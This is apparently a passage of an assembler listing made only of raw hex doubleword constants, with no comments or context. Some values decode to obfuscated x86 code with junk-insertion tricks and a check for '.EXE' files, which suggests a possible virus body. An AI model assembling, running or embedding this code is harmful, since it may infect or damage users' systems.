		dd 0CABDDB3Dh, 2A5B79DBh, 89FB197Bh, 0E89AB81Ah, 915E59BBh
		dd 7EE0C3BFh, 197B2860h, 0BB1D88FBh, 58BAE99Dh,	704D8203h
		dd 8433CFE1h, 8929AA6Eh, 0C08AB0FFh, 0C1D263A3h, 29C4462Ah
		dd 7611A455h, 8DB0D637h, 2BCF8C32h, 7944798Ah, 7B33CFB4h
		dd 1229F41Ah, 0F20BB254h, 5AB81960h, 0FF614A3Ch, 2DCD970h
		dd 1EC3F791h, 8F1C6AF8h, 8102A231h, 3F65C422h, 87181875h
		dd 8D306576h, 9C33D018h, 5FBDE6h, 0F91C42A3h, 31DABC62h
		dd 34D465C6h, 96F55350h, 582A070h, 15B544A6h, 7CDB3970h
		dd 0E6BDC856h, 0CA1E6684h, 3493F1BEh, 2F5371D3h, 0E3831274h
		dd 47A6049Fh, 0B4EF9321h, 0A8038323h, 0F494B282h, 0B6148FF8h
		dd 7694F657h, 1634960Dh, 0B3D13370h, 0A545D6D5h, 0CC9CC2E1h
		dd 84151D72h, 0CFE80C4Fh, 217FE02Bh, 0C6288303h, 0D26h
		dd 0CB5A5200h, 7C3885BAh, 5BBC2DC4h, 0EF9A7135h, 424462C0h
		dd 96ED0B69h, 0F593B10Fh, 483A58B6h, 0A3DFFD5Bh, 84A200h
		dd 5E2745A3h, 0BCCBE947h, 681B93F1h, 2372h, 89241C89h
		dd 4C381E3h, 83000000h,	1C8704EBh, 21685C24h, 89000073h
		dd 8951242Ch, 4C181E1h,	81000000h, 4E9h, 240C8700h, 240C895Ch
		dd 41E9B850h, 0C7BD4211h, 31441A1Dh, 24048BC5h,	4C481h
		dd 8B540000h, 0C481240Ch, 4, 8904EC83h,	481242Ch, 0E757E124h
		dd 8418F79h, 0E1086981h, 0FF79E757h, 81592434h,	4C4h, 2434FF00h
		dd 4C4815Dh, 0E9000000h, 0FFFB1655h, 8C7FF3C9h,	3E828E01h
		dd 66A2B87Ch, 0C503060Bh, 14E8C38Bh, 61000000h,	0D60E2BF4h
		dd 1D649B0Eh, 2E4E5A89h, 83A5230Eh, 6656C3EFh, 815AF78Bh
		dd 696995DBh, 19C28123h, 3300006Bh, 8BDE8BC9h, 0C7810A3Ch
		dd 1423F697h, 5E536060h, 850Fh,	61610000h, 8E10EF81h, 81664ED4h
		dd 816E3DE6h, 0DC0069F7h, 0C28B662Fh, 500A3C89h, 7E8h
		dd 206B6F00h, 2ACA5673h, 5BF78B66h, 0F7BF0F5Eh,	0F04E983h
		dd 289h, 8137B700h, 0FF9568F9h,	0A8850FFFh, 66FFFFFFh
		dd 998FF381h, 68B48D8Dh, 858B060Bh, 6060425h, 0DE9h, 8E64B600h
		dd 5F335E2Fh, 0E1E94FDBh, 8D899A28h, 60628DDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4DC35242h, 0C7C7902Ch
		dd 371BD8Bh, 85C70606h,	6061111h, 74B8h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 0D1C35646h, 0A16AE8D7h
		dd 18A0Fh, 0C7F80000h, 62E4985h, 6, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 959D8B6Dh
		dd 0FF060614h, 62EF1B5h, 89566006h, 61F398Dh, 0FF615906h
		dd 6079195h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 8093CF87h, 8589C06Eh, 60613D9h, 318D9503h
		dd 6A0606h, 1AC995FFh, 0C08B0606h, 0DEAB1FEBh, 52C1EE25h
		dd 0E9D7E8DAh, 59C27A19h, 8A624E46h, 0A174D887h, 0CC28F364h
		dd 0A917EEE3h, 1BBE920h, 810F0000h, 16h, 10800Fh, 0BE90000h
		dd 16000000h, 0E15B28F8h, 213A2FEAh, 0B58D43E0h, 60B69BEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0A1C35040h
		dd 13E969FAh, 64000000h, 0A98A4406h, 7E0D017Dh,	8153E4Dh
		dd 0BA764FC2h, 858D4F80h, 6094A5Ch, 6AD0FFF9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 56EBC357h, 81605092h, 0DB8889CFh, 6AC3610Eh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 4FDFC351h, 0CE9AAADh, 0FB000000h, 69ED9450h,	80C09485h
		dd 0E9D67A15h, 12h, 4CE0845Bh, 7578EB89h, 8B4D4D87h, 0F7F6C7Ah
		dd 66609B35h, 0F8E4ABAh, 580h, 0D1816600h, 66615746h, 13E9D98Ch
		dd 0D6000000h, 14CAC07Eh, 0BEB81DCDh, 0DFC75829h, 0C5744CDDh
		dd 0F6F52A9Ah, 840F04C1h, 8Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 92C35141h, 56270B47h, 0CE9B6h
		dd 72F20000h, 0B7869B60h, 0BB19D812h, 5E9EBA5h,	8C000000h
		dd 8571C8C0h, 14870Fh, 0FE90000h, 24000000h, 0BD8C41Ah
		dd 306AC1D6h, 34D9CE5Eh, 0FB8BDF19h, 0C032CB8Bh, 2BFD75AEh
		dd 2BD9F7CFh, 49D78BF9h, 0EBD98Bh, 13F20CDh, 0C00B0001h
		dd 708D1874h, 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h,	1, 8B09EBh
		dd 0B8E4EBh, 0CF000000h, 11E9h,	0AEEDC300h, 61828322h
		dd 661343C1h, 7680CB6Ch, 6E9EB85h, 0D0000000h, 0F992C93Dh
		dd 5185C734h, 3F060B6Ah, 8D000101h, 0B6B0B8Dh, 0B58B6006h
		dd 6060E41h, 287DB589h,	8B610606h, 61EE1BDh, 0DD8D8906h
		dd 29060628h, 623DD85h,	1185C706h, 0F0060611h, 0F000060h
		dd 0E85h, 8C0F6000h, 0
		dd 2DD9B589h, 0C7610606h, 62E4985h, 6, 0B0EA8000h, 2705B5FFh
		dd 81660606h, 0FF212ED8h, 6079195h, 0FF006A06h,	61AC995h
		dd 0EBC08B06h, 7AA45119h, 7808FBAFh, 0F415B268h, 827294FFh
		dd 0EDC2063Ah, 3F79DE17h, 66E96CDDh, 60000002h,	0F6D98C66h
		dd 840F04C1h, 35h, 0B5FF016Ah, 606321Dh, 7A7C858Dh, 0D0FF0609h
		dd 20E58589h, 0FE8B0606h, 680CEFC1h, 20060000h,	26A006Ah
		dd 0D6857h, 95FF0001h, 60620E5h, 32E9h,	0C185C600h, 56060601h
		dd 0C530DF68h, 0DDB5FFA9h, 8D06061Bh, 97A7C85h,	89D0FF06h
		dd 6033985h, 11858D06h,	5006061Ah, 56A406Ah, 3995FF56h
		dd 61060603h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 6BAC8589h, 428B060Bh, 0A485890Ch
		dd 8B060B6Bh, 85891042h, 60B6BA8h, 6BE2B58Dh, 858D060Bh
		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0B6BACB5h, 0A4858B06h
		dd 83060B6Bh, 0B6BA8BDh, 840F0006h, 7, 2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 0AC858908h, 8D060B6Bh,	0B6C33B5h
		dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 0B6BAC85h,	4C206h
		dd 6BAC858Bh, 8B060Bh, 6BAC8589h, 0CF060Bh, 60000000h
		dd 6C09B589h, 8589060Bh, 60B6C05h, 2805858Dh, 408B0606h
		dd 42858944h, 8D060B6Ch, 0B6C78B5h, 35858D06h, 0FF005B7Eh
		dd 858B61D0h, 60B6C09h,	59D8BC3h, 0F060B6Ch, 33C43B7h
		dd 785B8BD8h, 6C059D03h, 738B060Bh, 5B50324h, 56060B6Ch
		dd 8B207B8Bh, 0BD031C73h, 60B6C05h, 6C05B503h, 83FC060Bh
		dd 8B41FFC9h, 0B6C099Dh, 3178B06h, 0B6C0595h, 4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 0B6C0585h,	9858906h, 8B060B6Ch, 8BCE8BF0h
		dd 42BD81C1h, 60B6Ch, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 60B6C42h
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 42BD8100h
		dd 60B6Ch, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 60B6C42h, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0B0858DCFh
		dd 89060B6Bh, 62E1185h,	46858D06h, 89060B6Ch, 6026985h
		dd 0D858D06h, 89060B6Ch, 6038D85h, 0C04EB06h, 0E91FD2E5h
		dd 52Dh, 91F3B2D7h, 37991473h, 0DB3D6C19h, 7EE0C7BDh, 1F812260h
		dd 0FD855B24h, 622644A6h, 0BEC5E345h, 1F6785E7h, 4CCD2284h
		dd 0CFE8A617h, 31304633h, 90B6F591h, 0BFEC9ACCh, 643F4361h
		dd 9A2E402h, 0EA3DE178h, 1DE2E8B2h, 790D2BF7h, 0D9AECC2Ah
		dd 0F32839CAh, 2DC52ECAh, 0D7A3C92Ah, 45BCEA98h, 0C0FD3241h
		dd 342DC52Eh, 0F21072D3h, 92B01291h, 8121B2F1h,	0EB4AA807h
		dd 0ADDBF9C5h, 2F2499CEh, 7D052DC5h, 0DCA9C926h, 0AD0B6CCDh
		dd 0AF525482h, 0E06FD1D4h, 2F239ACFh, 68C92DC5h, 0D9D2B442h
		dd 2EF8C87Bh, 700E2DC5h, 2819D736h, 724EA8EEh, 8A000000h
		dd 61BFEC9Ah, 6721C1D2h, 7C2A9348h, 69CA2DC4h, 7B9F2043h
		dd 0CB692DC4h, 75BE32DBh, 0FA9A8EDh, 0AA000000h, 0D02E7D0Ah
		dd 54FA5A71h, 3CAC8175h, 0ED9A5216h, 0B962DBEh,	0DE693C95h
		dd 0A0BE8AB0h, 405EBCE7h, 0BEE5A044h, 42A00160h, 0B0515503h
		dd 9B3BCCD7h, 463C1ECh,	6E7F0EDEh, 0C51B8439h, 7607682Dh
		dd 0C51B7C41h, 0E90F702Dh, 1E802B5Bh, 0BBE89ACAh, 9E483F5Dh
		dd 0E5A1C1E6h, 9E0765C6h, 374BB6F0h, 9AEC0A6Ch,	0F095B311h
		dd 453D5BB9h, 0A2E2005Eh, 6684A705h, 0ACC88040h, 7AED13FAh
		dd 6303A8EDh, 0DB638924h, 8Fh, 0BBE89A17h, 0AAF98A2Ah
		dd 0FBC7ED4Ch, 0A301A8DDh, 11F0B664h, 90A13271h, 0C47C625Bh
		dd 0DDC1D82Dh, 8156A48Ah, 0CD9DC324h, 99B6A73Eh, 35320EB7h
		dd 0A201810Fh, 495E2644h, 0EBBACDEBh, 8F166F8Dh, 0D5B2D231h
		dd 610F78D6h, 0A7C37B45h, 77F20EFFh, 7875A8EEh,	76000000h
		dd 9AF8AFD6h, 2951153Bh, 4DABFA89h, 483AC8EEh, 0CE6EFD5Bh
		dd 4F5C2CB8h, 493AC8EEh, 632C95Ah, 0CB9879E7h, 3885BA4Bh
		dd 0BC2DC548h, 4669355Bh, 0FF837E28h, 9AEE42A4h, 0AD60BEEDh
		dd 2DC47C13h, 9789641Eh, 0F6109808h, 3452B011h,	0DFF45251h
		dd 49AEB93Dh, 95C37456h, 0C866AF11h, 0DDC12FDEh, 10A6A8EDh
		dd 0A7000000h, 0C2F77E07h, 2DC4EFFBh, 0D12F90F1h, 9A884C72h
		dd 405EBCEBh, 0D4FF5D46h, 80C02CC3h, 22BDB33h, 1BE6C0DCh
		dd 7FD93B6Ah, 4C246C62h, 9C19A417h, 0F95ABBE8h,	0D0B75768h
		dd 0F21877D5h, 0C2DB95CFh, 0D19C332Bh, 9F0E7951h, 1167D088h
		dd 61BF20EBh, 565532D2h, 0E57399F8h, 82A002A1h,	3A0E804h
		dd 2E9144A2h, 0FA33CAC4h, 26C6CADCh, 8E1C4261h,	0BA49ABF8h
		dd 0D7B691Ah, 80DF3D9Eh, 0F1BACC5Ah, 92117593h,	2BBF001h
		dd 0F233CAC4h, 369F6B91h, 5E5F94A5h, 8E33CAC4h,	0BBEB072Dh
		dd 0D2634046h, 33595632h, 523DD463h, 0DFCCBA31h, 0BB136AC8h
		dd 47DD1395h, 7C13AEF4h, 422BA31h, 63EB11D7h, 135h, 1015E9Fh
		dd 62913B70h, 22832BC2h, 0EF2435C4h, 33CA95CEh,	997BD1Eh
		dd 0AECC2E7Dh, 4F6DCBD8h, 0A50E6C37h, 3452AFF7h, 0ED031577h
		dd 7AAEF38Eh, 54h, 2B69E47Bh, 8D8F58FAh, 658B1A6Dh, 3075EA1h
		dd 0F3B0D272h, 11103695h, 0C47C11DCh, 7DB2432Dh, 2DC47C40h
		dd 0B71594F1h, 399AFB58h, 7B9528DBh, 0D5032DC4h, 9999F4D1h
		dd 7C1AD308h, 15262DC4h, 0C47BDDE0h, 6C374C2Dh,	0BD88AE0Fh
		dd 0AE5AFA5Ch, 86000000h, 7001015Eh, 0C268D93Bh, 0C6ACB2Bh
		dd 0A90B98EEh, 1FB0FB8Bh, 97E4D90Eh, 3E4533CAh,	4DAA0967h
		dd 47FAC6ECh, 33CA984Bh, 0AED87879h, 0F8564D36h, 0F6123899h
		dd 9ACFE0B0h, 33CA9823h, 0C5238006h, 82A80966h,	0B4E992F4h
		dd 33CA9809h, 98255AEBh, 5C33CA97h, 0A8399AFBh,	20667E08h
		dd 65C42283h, 0F8156F3Fh, 7F1627B8h, 0D6C79E56h, 0C4E70D15h
		dd 31D58093h, 0CAD9AD4Dh, 1A78D9A4h, 416B8AFCh,	4631B224h
		dd 7AA50364h, 0EBBAC969h, 0EC082E8Dh, 0AEF60BBAh, 6E6FE81Dh
		dd 20312BDCh, 0CAB0D2EBh, 82022233h, 768C725h, 53B516E1h
		dd 42015EFFh, 70016241h, 7B932A5Fh, 0F8592DC4h,	0B99ED3D2h
		dd 272BCF16h, 3C4A68C6h, 97EF0D6Fh, 7F1FAE0Ch, 7E839A09h
		dd 12C3EF4Fh, 33A9CCF2h, 0D53A2941h, 4827F27h, 417B4277h
		dd 10714D97h, 572F4DAFh, 0AAABB4Ch, 48752A79h, 0AC4D9741h
		dd 52B0FB8Ch, 0A06C92F3h, 47A50282h, 1A6B0B1Ch,	0A8CE2D8Bh
		dd 9FE71A8Ch, 7C13A204h, 2CFD4B6Ah, 43D1F704h, 6A0A6843h
		dd 3, 9A065A96h, 4462C0EFh, 0ED0B6942h,	93B10F96h, 3A58B6F5h
		dd 0DFFD5B48h, 84A200A3h, 2745A300h, 0CBE9475Eh, 1B93F1BCh
		dd 81E18951h, 4C1h, 4E98300h, 8B240C87h, 0EF682424h, 89000015h
		dd 1868243Ch, 8900005Fh, 0BD55240Ch, 57626244h,	6DD007BFh
		dd 0DBC7815Dh, 290C787Bh, 0DBEF81EFh, 5D0C787Bh, 240C8B54h
		dd 5204C483h, 5189FA89h, 24148B08h, 8B04C483h, 8950240Ch
		dd 405E0h, 0C0830000h, 24048704h, 2434FF5Ch, 4C4835Fh
		dd 0FB0A90E9h, 0DC2377FFh, 727FB86Ah, 0C503060Bh, 386EE0FFh
		dd 864530D9h, 22CA2646h, 3067288Dh, 4A44616Ah, 0A0251D7Ah
		dd 64EC5D83h, 1F620650h, 2F306A5Fh, 0FC64625h, 9D5623E2h
		dd 3C473A5Eh, 8D8D6D0Bh, 60B7419h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 4AC35343h, 0DD952B39h, 89060611h
		dd 628DD8Dh, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 96AD8303h, 10E9BBh, 4E20000h, 40F11B9Fh
		dd 31F6F635h, 4D932A03h, 85C78F81h, 6061111h, 5C94h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0B1C35141h, 7AF66191h
		dd 14E96029h, 49000000h, 1554E23h, 6AA34FB5h, 0B750342Ah
		dd 7072DACh, 8B7B8181h,	613A5BDh, 85C76106h, 6062E49h
		dd 0
		dd 11458503h, 52560606h, 6E9h, 98AAD100h, 5A0973A9h, 1DB5FF5Ah
		dd 0F060620h, 285h, 0FF63B600h,	6079195h, 55B58906h, 6A06062Dh
		dd 0C995FF00h, 8B06061Ah, 0DC5DEBC0h, 3B10F976h, 0B8943DFDh
		dd 432489AFh, 1488DE04h, 0E1F5838Bh, 71234FCh, 73AF2222h
		dd 0EA93D9B7h, 56AFDF09h, 3A5DECEEh, 0DD752E77h, 0ED07A31Ah
		dd 53FDA90Ah, 8C97D4D1h, 59D75859h, 514DE381h, 0B1F030DCh
		dd 0C524DB26h, 26EC294Ah, 430B93E8h, 0C9FDEF9Dh, 27949252h
		dd 0D1754A99h, 13CE9h, 4Fh dup(0)
		dd 61BD8300h, 1060602h,	5A1840Fh, 830F0000h, 1,	0C185C6F9h
		dd 43060601h, 6A368F8h,	8F0FA9D7h, 29h,	8E95250h, 0B7000000h
		dd 0E124F729h, 0F7B6EDDh, 11E931h, 5E150000h, 476B64D9h
		dd 164BE1CAh, 0DFACD4Bh, 5AFFB7E9h, 24348158h, 4572D656h
		dd 8860Fh, 800F0000h, 2, 0B5FF6160h, 6061BDDh, 9E9h, 79CD3800h
		dd 977FB8Ch, 858D9F82h,	6097A7Ch, 0C3BF0F60h, 81DB8166h
		dd 810F613Fh, 15h, 0F8B0Fh, 0AE90000h, 17000000h, 4765AEE6h
		dd 8395C814h, 6AD0FF9Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 7B35C355h, 858589F5h
		dd 0F060622h, 1487h, 0FE900h, 78F0000h,	2898C3D9h, 0C90FE3FBh
		dd 3518A3Ch, 0C185C60Ah, 50060601h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 23C35545h, 11E9h, 25A6A500h
		dd 0E91BF726h, 90E7BF25h, 68BDF708h, 246884C1h,	60A50A1Eh
		dd 5EC84ABFh, 0F88B666Ah, 24348161h, 0DA7B372h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 45C35646h, 0FCD75935h
		dd 0DDB5FFF8h, 6A06061Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 8A8C355h, 0FE958FFh
		dd 1C000000h, 0FA85CFA9h, 69BC3D95h, 0AEAD4BB6h, 870F79E2h
		dd 21h,	0DE860h, 18A00000h, 0A29CB46Dh,	3444528h, 5B59268Fh
		dd 7E9h, 0D0580C00h, 0ACC2BF5Ah, 7C858D61h, 0E906097Ah
		dd 6, 8F255D9h,	0D0FF77C9h, 66D88B60h, 616400BBh, 1A58589h
		dd 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 96CC4DC3h, 4E8h, 8FA82F00h, 11E9F0h, 8CD60000h
		dd 0DB55084Eh, 927F594Dh, 0BF9F881Fh, 50806A31h, 5E9h
		dd 1BA80600h, 448BDE18h, 8A0F0424h, 0Ch, 5E960h, 0BB900000h
		dd 61389DA2h, 5250008Bh, 0F525060h, 0E8585A31h,	7, 36A995CEh
		dd 5B683A44h, 50310F61h, 810F52h, 0F000000h, 13E931h, 1F740000h
		dd 14236FBAh, 607F6E4h,	0DA4A5C35h, 0DA178970h,	5A585A3Bh
		dd 24448958h, 11E904h, 0BADB0000h, 881E7B33h, 96673CD4h
		dd 0AE2D7DDDh, 58FC2A62h, 10E9h, 0A6B87500h, 8F378092h
		dd 1E96B6AAh, 0F6C6507Dh, 78C0F41h, 0F000000h, 187h, 0B5FFF500h
		dd 6061BDDh, 9E960h, 72B10000h,	7EFBF5BDh, 8AE23313h, 858D61F7h
		dd 6097A7Ch, 6E9FCh, 3EC70000h,	2300E76Fh, 6AD0FFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 60DC17C3h, 0E9615B51h, 0Ch, 0B296F2A3h, 3959DFA3h, 8991E91Fh
		dd 16858589h, 0BB600606h, 52E0F10Dh, 7E9h, 68E5CE00h, 0E451A599h
		dd 0C185C661h, 50060601h, 8AE48060h, 61F8B70Fh,	5E9h, 908CC000h
		dd 0AE68AA67h, 0FF091CAh, 0C88h, 6830F00h, 0F000000h, 8Dh
		dd 24348100h, 670D16F8h, 8850Fh, 870F0000h, 2, 0B5FF6160h
		dd 606321Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	43C35747h, 0A9630B73h, 8D75DC04h, 639F585h, 6E906h
		dd 5680000h, 221411BCh,	6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 10C412C3h, 6E95Ch, 0D6700000h
		dd 11369C88h, 23D8589h,	6A0606h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 3B12C0C3h, 0E9F916F7h
		dd 1AFh, 11E9h,	0C9D8A200h, 4F41F427h, 9A16C87Fh, 332F59DDh
		dd 0E950EF5Eh, 0Eh, 926B91DBh, 83085C53h, 24D08260h, 2C89D398h
		dd 81666024h, 61C249E1h, 0E960EC8Bh, 0Fh, 3E455A96h, 0AFDE55DDh
		dd 0AC8C1C9Fh, 615352B0h, 0E9FCC483h, 11h, 0A86DC4F5h
		dd 0F4F229C8h, 0F440122h, 812F3720h, 870F6019h,	7, 89BA6660h
		dd 0E961F543h, 13h, 0E4EB7584h,	73BE425Fh, 0E48D7414h
		dd 1A3D5389h, 0E8A50503h, 0
		dd 4BEA815Ah, 0C7060B7Ah, 0FC45h, 0BA830000h, 6060261h
		dd 98840F01h, 52000000h, 0F6A006Ah, 228592FFh, 895A0606h
		dd 0B748082h, 849A8D06h, 52060B74h, 12803C7h, 50530000h
		dd 1A592FFh, 525A0606h,	74849A8Dh, 0FF53060Bh, 0B7480B2h
		dd 3D92FF06h, 5A060602h, 5074C00Bh, 74849A8Dh, 7B8D060Bh
		dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h
		dd 39348DEEh, 8D0C752Bh, 617E5BAh, 0C4D8B06h, 0C032A4F3h
		dd 75FF52AAh, 0E5828D08h, 50060617h, 168592FFh,	0B5A0606h
		dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh
		dd 0F0008C2h, 1C86h, 168F0F00h,	0E9000000h, 11h, 242BB70h
		dd 0F8C8811Ch, 8036F9Ah, 39BAF9F0h, 188B0F7Ah, 0F000000h
		dd 128Ah, 0DE900h, 31600000h, 569E0345h, 3EE9A20Fh, 0F76F119h
		dd 1E8Bh, 188B0F00h, 0E9000000h, 13h, 5C079C87h, 0F345E1FCh
		dd 0FA05B63Bh, 3CA06C15h, 8B2DABB3h, 10E8D2h, 0DA20000h
		dd 0E5543121h, 4DC226F6h, 0E10BB9DAh, 0E853E33Ah, 9, 98551F55h
		dd 0ADD2643Ah, 5858570Fh, 0AE95B59h, 0FA000000h, 67FD1555h
		dd 0D18293B1h, 39C38175h, 0E900006Eh, 14h, 5F69075Fh, 3ED0DCF1h
		dd 44BC02A2h, 87A78BD8h, 0BAC08EAFh, 0BEh, 0DE900h, 23CC0000h
		dd 0CF5C2823h, 49F7B41Eh, 8B8E6C7Bh, 1B03314h, 3A01EA81h
		dd 8D0F2DDFh, 0Eh, 9E9h, 8FDB9F00h, 0EBF6E08Eh,	0EA81752Fh
		dd 5EC5EC70h, 5DE4C4BFh, 36F28104h, 564334BFh, 148958FCh
		dd 3EE8333h, 4E95D480h,	0FE81E58Ah, 0FFFF92B4h,	1E850Fh
		dd 5E90000h, 0B2000000h, 62A14A4Dh, 2EE9h, 0E7FD9500h
		dd 2DC435FEh, 248539CFh, 3BC5B77Fh, 0B11DBB60h,	0E9611A75h
		dd 0FFFFFF8Bh, 0D3F14C48h, 1FCCE47Ah, 676AFE42h, 0B50980A4h
		dd 2C3792C7h, 7DE99A11h, 5BA5F648h, 3DF103ACh, 4C051773h
		dd 0FF796B37h, 54FFBA72h, 0B182F987h, 0FF308787h, 747CC26h
		dd 7223B87Ah, 0FE2D878Ah, 0F93FBB31h, 3E30BA2Bh, 2DFA3A60h
		dd 8C705369h, 0CDD8BA37h, 2630BA37h, 59ED5926h,	109915EFh
		dd 25E631EBh, 1EC107B4h, 1030BC31h, 8F3090B3h, 9230D037h
		dd 0E330B9DFh, 326D9A37h, 0DC5C336Ah, 58743B33h, 3E30A033h
		dd 0DC65FF37h, 9DAFBFEAh, 2EA2AC07h, 0E330B8CDh, 7C6AEAC2h
		dd 0F34C38B2h, 5FD93B31h, 31202557h, 96604C88h,	8F5A9E33h
		dd 0C7335261h, 0BD10BA37h, 85B9E4F4h, 0BCB1BE13h, 7C24BE13h
		dd 6876BA37h, 0A556D7F4h, 0ABDDF56h, 0C13BC653h, 5956DA67h
		dd 9762963Fh, 0A7C9E689h, 58343356h, 0ABCF42BCh, 193690B6h
		dd 0A3AA6BB6h, 7BB93F9h, 0B9720860h, 0C1E107B4h, 8D30BC31h
		dd 0C98D393Eh, 3E36BC33h, 4C60A343h, 0F5887ABCh, 4E30BA33h
		dd 0E51CEBB2h, 90AD3731h, 736B285h, 0FF68E1E4h,	38340F8Ah
		dd 844BA31h, 0F588E967h, 4E30BA33h, 0E51CEBB2h,	0A1AD3731h
		dd 736B298h, 0FC68E1E4h, 0FBB09BFEh, 0A1F03157h, 0DAE953A9h
		dd 0BB5C27BAh, 2AB1BC3Ch, 0B4816719h, 0F8343A38h, 0C656BA37h
		dd 0BBBD80D5h, 193BD2CEh, 6766BA5Dh, 0C730BA34h, 0BDF3E417h
		dd 0F514CEBEh, 0FC14FEB6h, 7C30BA23h, 0ABF3EC71h, 0E0C20538h
		dd 0DE30D0E7h, 0C730B9DFh, 20699A37h, 0D57C336Eh, 0DC743B33h
		dd 7C30A333h, 0FD61FB37h, 88574986h, 13F583Eh, 0C730BA3Fh
		dd 0E3B9B565h, 0AB30BA37h, 7C3F7A3Ch, 7C30BA4Ah, 0B30877B7h
		dd 197E68AAh, 87BAB531h, 0C830BA37h, 0E330B8B3h, 4951DA37h
		dd 0F830BA34h, 9462BA5Dh, 3E30BA34h, 45F3E017h,	8B14EEBEh
		dd 0C314FEB6h, 0E330BA2Ch, 8DF3E875h, 0D1E3D4D2h, 83311BECh
		dd 6C30D0D4h, 1F30B9DFh, 4C6A9A37h, 0E364336Dh,	0C7743B33h
		dd 0F130A133h, 3B62F837h, 3390EFA0h, 4F0E2B53h,	1F30AEDEh
		dd 64D48D37h, 0DDEC8922h, 3F9568BBh, 8F7E90F3h,	0B0125F3Fh
		dd 8AD3707h, 5436B14Bh,	1CD8EF37h, 0AF30BA37h, 4E6D796Ah
		dd 62349E5Bh, 0ED349E73h, 0BD30BA37h, 0E5AA7962h, 249FC930h
		dd 922963EAh, 845843B2h, 0AEC90031h, 33CFEFE3h,	8A6E6DB6h
		dd 383B8545h, 7C513E38h, 3E5ABA37h, 1F335260h, 0D010BA37h
		dd 0BBB9E5F4h, 0A7B1BE13h, 0F128BE13h, 0AF77BA37h, 940ACF4h
		dd 0DF8F7138h, 926749F2h, 897E68AAh, 83EA3B31h,	5B06FA30h
		dd 0F130BA36h, 0F8353E38h, 8EBA37h, 0C1057DA6h,	4D30D0D4h
		dd 8F30B9DFh, 46A9A37h,	0C764336Dh, 0D5743B33h,	0F830AC33h
		dd 0BF62F837h, 0B3EE80DDh, 144CC3AAh, 89D9E831h, 1430BA37h
		dd 0E47A391Dh, 74BDE01Dh, 0FE3BD2CEh, 9467BA5Dh, 3E30BA34h
		dd 40F3E517h, 8B14C6BEh, 0C314FEB6h, 0E330BA2Ah, 0B5F3ED70h
		dd 0A4469BCh, 3D912166h, 0C1C131C5h, 1CB1B5E7h,	0E930BA37h
		dd 73B6DBCh, 0E3683E38h, 0FAD8BA37h, 5630BA37h,	4D22FC82h
		dd 0C38858D0h, 0A55620DBh, 396E49ECh, 15AD37A2h, 8936BC79h
		dd 0F2D8E837h, 0D830BA37h, 0F56A796Dh, 0BF349E63h, 9349E73h
		dd 0CD30BA37h, 7ACC7965h, 98EDC58h, 7089DC78h, 8BBDCDDh
		dd 7C30B98Fh, 3BB1B537h, 7930BA37h, 0AAEC53B6h,	0A17359C8h
		dd 5EBD41BCh, 0F73BC655h, 783137BAh, 188BC3Ch, 0DBAF16Bh
		dd 192B0BB2h, 37FF9131h, 0B14B08ADh, 0EF375436h, 0BA371CD8h
		dd 796AAF30h, 9E5B4E6Dh, 9E736234h, 0E983ED34h,	8BA4F305h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0E229582Bh, 8873D21Ah, 605F5793h, 7FD68160h
		dd 6107BCBAh, 4800Fh, 0B8660000h, 8B612964h, 8BC38BCEh
		dd 1D860FD1h, 0F000000h, 1789h,	12E900h, 0C8800000h, 3276EB1h
		dd 0B44A7E80h, 0DC969443h, 5516CDAFh, 8B0FC08Bh, 5, 0B50910B9h
		dd 0D1BD8310h, 60630h, 0BD830975h, 60604B5h, 50197400h
		dd 0B8C08B53h, 47Ah, 20B98589h,	9D8D0606h, 608B2C8h, 585BD3FFh
